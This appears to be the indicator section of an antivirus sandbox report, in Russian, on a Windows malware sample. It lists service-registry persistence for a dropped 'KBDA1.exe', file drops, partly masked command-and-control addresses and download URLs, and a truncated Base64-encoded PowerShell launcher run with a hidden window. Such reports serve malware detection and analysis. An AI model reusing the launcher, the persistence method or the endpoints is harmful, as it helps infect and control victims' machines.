Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\KBDA1] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\KBDA1] 'ImagePath' = '"<SYSTEM32>\mfc140jpn\KBDA1.exe"'
- 'KBDA1' "<SYSTEM32>\mfc140jpn\KBDA1.exe"
- 'KBDA1' <SYSTEM32>\mfc140jpn\KBDA1.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABJADYAMAByAF8AaABjAD0AKAAnAEgAJwArACgAJwBlAHYAJwArACcANQA2ADYAJwApACsAJwBuACcAKQA7ACYAKAAnAG4AJwArACcAZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAdABFAE0AcABcAHcAbwByAEQAXAAyADAAMQA5AF...
- %TEMP%\word\2019\pohaen.exe
- <SYSTEM32>\mfc140jpn\kbda1.exe
- %TEMP%\word\2019\pohaen.exe в <SYSTEM32>\mfc140jpn\kbda1.exe
- '82.##9.200.118':80
- '18#.#1.158.15':8080
- http://sa####amos.com.br/PLcbM/4oxcev0320/
- http://18#.##.158.15:8080/WvXXlttQtHMaOS/NtTcY9IzQRH6/A9w4nx1bbl5gzZhbb/cXa9waJVgN/eJH4/ via 18#.#1.158.15
- DNS ASK sa####amos.com.br
- '%TEMP%\word\2019\pohaen.exe'
- '<SYSTEM32>\mfc140jpn\kbda1.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABJADYAMAByAF8AaABjAD0AKAAnAEgAJwArACgAJwBlAHYAJwArACcANQA2ADYAJwApACsAJwBuACcAKQA7ACYAKAAnAG4AJwArACcAZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAdABFAE0AcABcAHcAbwByAEQAXAAyADAAMQA5AF...' (со скрытым окном)